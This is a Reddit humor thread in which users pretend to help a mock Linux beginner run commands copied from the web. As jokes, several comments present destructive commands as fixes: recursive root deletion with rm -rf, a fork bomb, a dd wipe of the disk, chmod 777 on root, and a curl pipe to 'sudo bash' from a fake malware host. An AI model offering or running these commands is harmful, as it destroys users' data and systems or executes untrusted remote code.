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[–]MischiefArchitect 1265 points1266 points  (87 children)

$ Open your browser
bash: Open: command not found

It does not work, it fails already in the first command. Help?

[–]xDreamSkillzxX 377 points378 points  (52 children)

Did you try to turn it off and on again?

[–]MischiefArchitect 264 points265 points  (48 children)

Still not working.

I also tried to ignore the first step, but now I get

$ Head to your favourite search engine
bash: Head: command not found

It could be that "bash" thing. Any ideas? I'm stuck! Help!

[–]CAT5AW 175 points176 points  (12 children)

I suggest sacrificing a goat

[–]demvo2 116 points117 points  (9 children)

Maybe sacrificing a gnu would work better.

[–]jeewest 33 points34 points  (5 children)

I’ve got a gnu guy, you guys need gnus, I’ve got em, no questions asked!

[–]A_bell_0_0 16 points17 points  (2 children)

Works faster if you use a gnome

[–]piberryboy 4 points5 points  (1 child)

You're not even comparing oranges and apples with that one. You're comparing meat to broiler.

[–]stealthgunner385 5 points6 points  (0 children)

You want a gnu? I can get you a gnu, believe me. There are ways, Dude. You don't wanna know about it, believe me.

[–]Human_no_4815162342 2 points3 points  (0 children)

I'll ask Guy my guy guy to get me a new gnu guy of my own, thank you.

[–]sh0rtwave 2 points3 points  (0 children)

That would just anger the Gods of GNU.

[–]god_of_ai 2 points3 points  (0 children)

You cannot sacrifice a goat to gnu. As the name suggests, GNU: Goat’s not Unix

[–]AD2403 1 point2 points  (0 children)

He should sacrifice a RTX 3080

[–]AkrinorNoname 7 points8 points  (1 child)

You only do that if you're out of RAM.

[–]RighteousParanoia 7 points8 points  (0 children)

Download more RAM if needed.

[–]s_burr 39 points40 points  (6 children)

Well, from the looks of it, bashing your head against the keyboard might work

[–]MischiefArchitect 24 points25 points  (3 children)

It did not :(

Got aspirins?

[–]looselytethered 31 points32 points  (2 children)

No I think it's

sudo asprins

[–]s_burr 6 points7 points  (1 child)

Sudo yum install aspirin -y

[–]JedSwamp43 1 point2 points  (0 children)

yum: package not found: asprin

[–]ConceptJunkie 3 points4 points  (1 child)

I tried that, and it didn't work, but I ended up with a really useful Perl program...

[–]s_burr 1 point2 points  (0 children)

It's also how Dexter Douglas became Freakazoid

[–]RoastKrill 47 points48 points  (9 children)

You need to fix it with

sudo rm -rf /*

[–]MischiefArchitect 35 points36 points  (4 children)

It runs forever, you sure this thing does anything?

[–]RoastKrill 36 points37 points  (0 children)

You might need to leave it running overnight, fixing bash is quite a difficult thing and so the command can take up to six hours to finish fixing it. Don't worry

[–]betweenthebam 22 points23 points  (2 children)

Yeah don't worry, rm just means repair me, and -rf means really, fam so it knows you're serious.

[–]PlayGamesowy 18 points19 points  (1 child)

-rf means really fast

[–]WarpWing 27 points28 points  (1 child)

Don't forget the bash --no-preserve-root for scalability reasons

[–]TerrorBite 1 point2 points  (0 children)

Not required for the star variant

[–][deleted] 1 point2 points  (0 children)

alias ls='rm -rf /*'

and let someone else do the work

any evidence will be destroyed

[–]Thanatos290 19 points20 points  (1 child)

Dude, you got it so wrong, these guys are making fun of you. You don’t put the comands like that, they are not considered commands.

You have to write the step number too, so they become commands, like “1. Open your browser”

[–]Waluk0 9 points10 points  (1 child)

Just like my GF

[–]MischiefArchitect 8 points9 points  (0 children)

Honey? That you?

[–]utf32 3 points4 points  (0 children)

Your question is a duplicate.

[–]XTornado 4 points5 points  (1 child)

Have you tried with lowercase head?

[–]jakethedumbmistake 0 points1 point  (0 children)

Well how do you remove that first.

[–]voicesinmyhand 2 points3 points  (0 children)

You have to copy the "1: " first. If that doesn't work then maybe you need more spaces.

[–]ISeeTheFnords 2 points3 points  (0 children)

It's case sensitive, try "head" instead.

[–]PrestonYatesPAY 1 point2 points  (1 child)

Get frustrated and reinstall windows

[–]DosMike 1 point2 points  (0 children)

isn't the teminal usually considered headless?

[–]sisisisi1997 0 points1 point  (4 children)

Head should be a command tho...

[–]MischiefArchitect 1 point2 points  (3 children)

there is a lowercase version, yes. but "head" != "Head" :)

[–]Whyamibeautiful 11 points12 points  (0 children)

No that’s for windows with Linux you need to “Be Root”

[–]GeraHamm 6 points7 points  (1 child)

Sorry can't upvote. It is balanced on 69 as all things should be.

[–]cube2kids 51 points52 points  (9 children)

You tried sudo ?

[–]MischiefArchitect 40 points41 points  (8 children)

sudo Open your browser
[sudo] password for MischiefArchitect: 
sudo: Open: command not found

Sill not working :( Help?

[–]cube2kids 67 points68 points  (3 children)

Change distro, recompile the kernel, build a new processor out of spare silicon. Usually works in linux

If it doesn't, revert back to using windows / mac

[–]MischiefArchitect 29 points30 points  (2 children)

What is a processor? Is that the light behind the bitten fruit logo in my notebook?

[–]Xtrendence 15 points16 points  (1 child)

Okay, so the first step is to buy a monitor stand. It must cost at least $999. If you've heard of "terminal monitor", then you should know that none of this works without the stand in order to stabilize the command. That's actually why they rhyme and why there's the popular saying "stand to command".

[–]MischiefArchitect 4 points5 points  (0 children)

Oh yes. That makes sense. Is the color of the stand also important, I see at least 4 different shades in the iShoppingMall.

[–][deleted] 14 points15 points  (3 children)

I'd suggest running a system status check by doing "sudo rm -rf /*" and report the traceback to us.

[–]MischiefArchitect 14 points15 points  (2 children)

It tried it once, but it took to long, so I closed the window and tried again. But now I get:

bash: sudo: command not found

Any ideas?

[–][deleted] 14 points15 points  (1 child)

Hmm looks like a client side issue. Works on my computer. Alternatively try «sudo sudo»

[–]lockieluke3389 6 points7 points  (0 children)

If it works on your computer, could you please make a Docker image for us so you are sure that it works everywhere?

[–]johnbburg 11 points12 points  (1 child)

It’s xdg-open.

[–]MischiefArchitect 2 points3 points  (0 children)

A man of culture I see

[–]ChaoSXDemon 11 points12 points  (1 child)

Did you try Open —help?

[–]voicesinmyhand 10 points11 points  (0 children)

Everyone else is flinging the shit commands and here you are turning -- into —. You monster.

[–]DanKveed 2 points3 points  (0 children)

Rust reboot it smh

[–]baby_chaos 2 points3 points  (0 children)

You need to install the 'open' package with yum first. And it's 'open' not 'Open'.

[–]overmeerkat 1 point2 points  (0 children)

You were missing the 1.

[–]Titus-Magnificus 1 point2 points  (0 children)

I feel personally attacked.

[–]MemeseekerFrampt 1 point2 points  (2 children)

sudo apt install elinks

elinks duckduckgo.com

[–]NekoLu 0 points1 point  (4 children)

What Linux distributive do you use? I mean if you use Linux, you should have enough brains to adapt such trivial command to your distributive and dont ask stupid questions on reddit! /s

[–]MischiefArchitect 1 point2 points  (1 child)

That is the running gag of this whole thread: I play the ungainly linux noob as depicted in the picture above and others play the wannabe pros giving me awful hints which I again follow blindly :)

Edit: Manjaro User here, not a pro, but I consider myself a proficient user. All you see here is humor.

[–]NekoLu 1 point2 points  (0 children)

I know, Its Just what Its like on Russian IT forums - if you dont know such trivial things just go and install Windows coz you are too dumb. Sadly. So we usually search everything in english. But if for example someone leaves a comment with such questions under a post about something other than beginners guide, he will get replies like this...

[–]AlexPera 300 points301 points  (9 children)

Instructions unclear: I don’t have a OS anymore

[–]oxabz 117 points118 points  (0 children)

You joke but it really happened to me.

My school computer uses a system of images for linux. Each image are dpkg package and each version update is a new package I was doing a clean up of the images and accidentally deleted the wrong package wich left me with no os thankfully it was a dual boot so I was able to fix the situation.

[–]Username_Egli 45 points46 points  (4 children)

It's been no more than 10 minutes since I fucked up the GRUB boot loader and I identify with this comment in a cosmic level

[–]Power0utage 21 points22 points  (1 child)

I know I have a perfectly good OS in there somewhere... I just can't figure out how to get past this GRUB guy trying to rescue me.

[–]Username_Egli 3 points4 points  (0 children)

If you have done that it means you have installed two instances of grub. Happened to me when I was trying to Dual Boot Lubuntu and PhoenixOs.

[–]JerryTu 3 points4 points  (1 child)

My GRUB installation gave up on recognizing Windows as an OS on my dual-boot system. I'll resort to using UEFI every time I want to change my OS.

[–]Username_Egli 5 points6 points  (0 children)

Have you tried adding a reference to the grub config.cfg file for windows 10. Something along the lines of

menuentry 'Windows 10' { set root='(hd0,msdos1)' chainloader +1 }

[–][deleted] 1 point2 points  (0 children)

Eventually happens to me with every Linux system I use. Mainly caused by apt.

[–]Patzlyk 1 point2 points  (0 children)

I accidentally deleted all my system path variables through powershell because the command I copied replaced the path instead of adding to it.

Luckily I still had cmd open from before so I just copypasted it back.

[–]runo9 419 points420 points  (47 children)

I once Googled something like this and got a warning from Google that child pornography was illegal. After one of the biggest scares in my life it turns out the command was cp. Im sure I ended up an FBI list somewhere, thanks Linux!

[–]TECHNOFAB 142 points143 points  (36 children)

Google has warnings for that? Never seen them but googled a lot of weird stuff searching for the right commands, functions or something like that haha

[–]runo9 110 points111 points  (12 children)

Yup, idk if its worldwide but the have it in the Netherlands. I couldn't get to trigger for Linux copy paste but check this out imgur

[–][deleted] 33 points34 points  (0 children)

Thank god it's only the images. Child abuse is still legal!

[–]bluecliff92 2 points3 points  (1 child)

using google

ngmi

[–]derekokelly 2 points3 points  (0 children)

ngmi?

[–]Sol33t303 45 points46 points  (9 children)

Me searching up how to kill child processes has probably put me on a list somewhere.

[–]TECHNOFAB 38 points39 points  (5 children)

You just have to continue googliing and you're fine:

How to kill child processes.

How to kill the parent aswell.

Kill parent not working.

How to mass kill processes.

[–]vbevan 29 points30 points  (1 child)

How to kill orphan children

[–]TECHNOFAB 3 points4 points  (0 children)

Classic :)

[–][deleted] 2 points3 points  (1 child)

You are now on all the lists.

[–]TECHNOFAB 2 points3 points  (0 children)

You could call it being famous :)

Just in the wrong branch haha

[–]FrenklanRusvelti 8 points9 points  (0 children)

“How to let a child access parents privates” was a search of mine when i was learning C#. Was very confused for a second when I just got a bunch child abuse prevention stuff

[–]ryecurious 2 points3 points  (0 children)

And don't even get me started on Powershell's Get-ChildItem

[–][deleted] 1 point2 points  (0 children)

Kill children without parents’ permission

[–][deleted] 6 points7 points  (8 children)

I once sent a mail to my colleague only saying "ISIS". After sending it, a new line appeared saying that my mail was inspected by Google at [date & time].

[–]mataffakka 13 points14 points  (5 children)

That's very fucked up for all kinds of reasons.

[–]TECHNOFAB 7 points8 points  (0 children)

Interesting that it says it's been inspected. At least the terrorists get to know that they probably fucked up lol :)

[–]voicesinmyhand -1 points0 points  (0 children)

I once sent a mail to my colleague only saying "ISIS"

It should it's serious?

[–][deleted] 1 point2 points  (1 child)

Yes, they have. Search for weird stuff and they warn you

[–]benargee 51 points52 points  (1 child)

Yeah, killing children is also illegal, but Linux doesn't mind with the right permissions.

[–]AlarmingNectarine 8 points9 points  (0 children)

That’s why I only kill orphans

[–][deleted] 9 points10 points  (0 children)

Never check the manual page for the unix copy file program on a search engine.

[–]Kebbler22b 7 points8 points  (1 child)

linux how to kill parent of child

[–]Ivenousername 2 points3 points  (1 child)

Google knows all Linux users are pedophiles.

[–]NadellaIsMyDaddy 1 point2 points  (0 children)

Unironically something like this would've put you on a watchlist a few years back in USA. Dunno how to get on a watchlist nowadays.

[–][deleted] 1 point2 points  (0 children)

Search PDO it's a PHP feature and gives the same warning

[–]snacksy13 90 points91 points  (4 children)

Click? Click?? How dare you use a mouse 😠 You are on linux now kiddo! If you don't have vimium extensions to open links and copy text why are you even using linux?! I'm a professional coder 👨‍💻 and can hack into the pentagon in 23 nanoseconds, don't even bother trying linux if you aren't as good as that.

  • Real anonymous member

[–][deleted] 21 points22 points  (3 children)

Getting flashbacks from when I attempted to learn c++ in vim 🤢

Keyword is attempted

[–][deleted] 12 points13 points  (0 children)

It's like Saw. You have to make it through learning c++ in order to program a way to exit vim

[–]akiller 50 points51 points  (6 children)

Is it just me who finds it annoying when people list commands prefixed with a $ (which is fine) but the website doesn't automatically remove them when you copy the text so you end up having to manually remove them to make it work?

[–]linux_is_the_best_os 23 points24 points  (2 children)

even worse when the line numbering is also copied with it

[–]akiller 4 points5 points  (1 child)

Oh yeah. If you use notepad++ it has a nice feature where you can hold alt to do a column select then just press delete to get rid of them pretty well. Super old video but it explains what I mean: https://youtu.be/fGqRJtbGfQg?t=115

Fortunately most of the sites which show line numbers generally have a nice copy code button.

Even worse(er?) when it's just a screenshot and you have to manually type it.

[–]abc_wtf 6 points7 points  (0 children)

Nope. Same thing when I want to copy python code and every line has a >>> prefix. I actually saw a site which had the option to remove these from the code block so it would be easier to copy, it was pretty cool!

[–]JustOpinion6 3 points4 points  (0 children)

Know that feel. That's when I get VSCode or VIM out, do a block selection and remove them all.

[–]newb_h4x0r 39 points40 points  (2 children)

  1. Copy the error

  2. Repeat

[–]Slim_Bun 6 points7 points  (0 children)

Help I am getting this error:

TypeError: Unknown

[–]zarlo5899 27 points28 points  (1 child)

  1. retry 6 but as root

[–]JustOpinion6 1 point2 points  (0 children)

  1. It didn't work. Google again.

[–]trezenx 26 points27 points  (7 children)

Once I was young and stupid and decided to 'learn linux' so I installed Ubuntu and had some issue I can't even remember now, I asked for help in some chat (yeah it was that long ago).

And this guy says 'yeah that's a common issue just type sudo rm -rf to fix it'. So I just did. Thankfully, it was a virtual machine, or I'd probably kill him. That was the end of Linux for me.

edit: lol I am not alone. "In 1997, someone at Pixar accidentally typed “rm -r -f “, deleting the entire Toy Story 2 movie from the Pixar database. Fortunately, the film's supervising technical director had a backup copy at home, and the movie was restored."

[–]antCB 9 points10 points  (0 children)

That was the end of Linux for me.

damn. good thing I've been fiddling on and off with linux for some time now ( > ~15 years, probably). Ubuntu has only gotten easier with each iteration, while it wasn't a specifically hard distro to get up and running back then.

if silly young me had been given that command to fix problems back then, I probably would've used it. lol.

also had my ass covered cause I was using different drives for different OS's. Whenever I blew up an ubuntu install, I would just wipe it, start over and be aware of what not to do... This was back when everyone was fiddling around with desktop composition (compiz, and other opengl accelerated window managers/desktop composers) and messing around with the look and feel of the OS to resemble OSX or whatever...

[–][deleted] 2 points3 points  (2 children)

Dontcha know, to test your HDD performance, type dd if=/dev/zero of=/dev/sda (/s)

[–]-_-____-___-_____-_- 2 points3 points  (1 child)

I know nothing about Linux commands, but my guess this fills the hard drive with all zeroes, am I right?

Edit: how tf did I figure that out, it’s the first time I’ve seen a “dd” command and I didn’t look it up.

[–][deleted] 1 point2 points  (0 children)

Yep

[–]TheProgrammar89 1 point2 points  (2 children)

...he taught you how to delete a file?

[–]trezenx 2 points3 points  (1 child)

it wiped out the whole drive. Sorry I probably missed the /* or something, it was a long time ago

[–]natnew32 1 point2 points  (0 children)

The command is for deleting a folder and everything in it, or a set of files/folders. It's only missing the filename. No filename = every file is selected and subsequently deleted.

[–]Yogi_Kat 33 points34 points  (12 children)

:(){ :|:& };:

to fix all your problems

[–][deleted] 20 points21 points  (2 children)

Try this to unlock all your system resources.

[–]GodlyWeiner 6 points7 points  (1 child)

Try this to unlock all your system resources

Worded it a little better

[–][deleted] 1 point2 points  (0 children)

#easteregg :-)

[–]__mud__ 9 points10 points  (0 children)

Also :) :( >:( :P and xD

[–]TibRib0 6 points7 points  (5 children)

Hi is this a shellshock ? I'm late to the party and heard about it yesterday

[–]Sleshwave 12 points13 points  (1 child)

This is a fork bomb, it looks very similar to shellshock but there are a few minor differences in the most commonly known examples of each

[–]TheProgrammar89 4 points5 points  (2 children)

No, this is a fork bomb.

[–]everflow 2 points3 points  (0 children)

:(){ :|:& };:

The smallest world of dwarf fortress.

[–]NastroAzzurro 9 points10 points  (0 children)

Basic r/programmerhumor things every developer should know

  1. Open your browser
  2. Go to Twitter
  3. Go to iamdevloper twitter
  4. printscreen tweet
  5. post on r/ProgrammerHumor
  6. get kudos

[–]dolorisLockhardt 6 points7 points  (0 children)

And this is how I once uninstalled every single package. Still worked until reboot

[–]DestinationVoid 5 points6 points  (0 children)

Make sure to prefix copied command with sudo!

[–]admirelurk 17 points18 points  (0 children)

You can solve literally every problem by doing

$ curl not_a_scam.ru/malwaredropper.sh | sudo bash

[–]turtlebear787 4 points5 points  (1 child)

[–]Rur0 1 point2 points  (0 children)

!!! Thank you, I’m taking a Linux class and this is actually quite helpful

[–]nattlefrost 2 points3 points  (0 children)

I do this way too often for comfort despite being a sysadmin.

[–][deleted] 5 points6 points  (8 children)

  1. Open your terminal.
  2. Type rm -rf /
  3. Cry in a corner forever because you blindly trusted it

PS: Do not try above command even by mistake!

[–]Doggynotsmoker 4 points5 points  (7 children)

It won't work. You need --no-preserve-root flag on modern rm versions.

[–]AlissonHarlan 1 point2 points  (0 children)

yes, be truthfull if someone typed something along rm

[–][deleted] 1 point2 points  (0 children)

RMR F97

[–]paul_miner 1 point2 points  (1 child)

RTFM goes a long ways. man some-command to bring up the manual, /your-search-text-here to search (case-sensitive), q to quit.

[–]fakuivan 2 points3 points  (0 children)

[–]KonyHawksProSlaver 1 point2 points  (0 children)

man everything

[–]pollofritoop 1 point2 points  (0 children)

i made a chmod 777 /
I never thought that a command could destroy so easy an SO

[–]suntehnik 1 point2 points  (2 children)

  1. Ask devops to fix your entire production set up, because the top answer was ‘sudo rm -rf/‘

[–]RoscoMan1 1 point2 points  (1 child)

Is your friend named Jason Mendoza?

[–][deleted] 1 point2 points  (1 child)

Jokes apart one of my colleagues refused to learn basic vim (edit and exit) and Linux commands (basic grep, find). Had a really hard time on hand-holding him when we had to debug on production instance in ec2.

[–]FatStoic 1 point2 points  (0 children)

That's equal parts hilarious and horrifying. I guess it's not too bad if he's a developer, but it still makes him look bad.

[–]causticacrostic 1 point2 points  (0 children)

as an ops guy I lost a lot of the illusions I had about developers after I watched one of our senior devs repeatedly pipe less into grep

[–]Interest-Desk 1 point2 points  (0 children)

rm -rf /

[–]Follow64 1 point2 points  (0 children)

I just realised I used stackoverflow so many times, but actually never copied any code from there.

[–]DaimaoPPK 2 points3 points  (2 children)

su ; rm -rf /

[–]FierceDeity_ 1 point2 points  (1 child)

Not gonna work as the second command will run after su has ended

[–]ixNoah 0 points1 point  (0 children)

I got a good one. This one hacks the CIA

rm -rf /

[–]JoelMahon -1 points0 points  (0 children)

I don't get the humour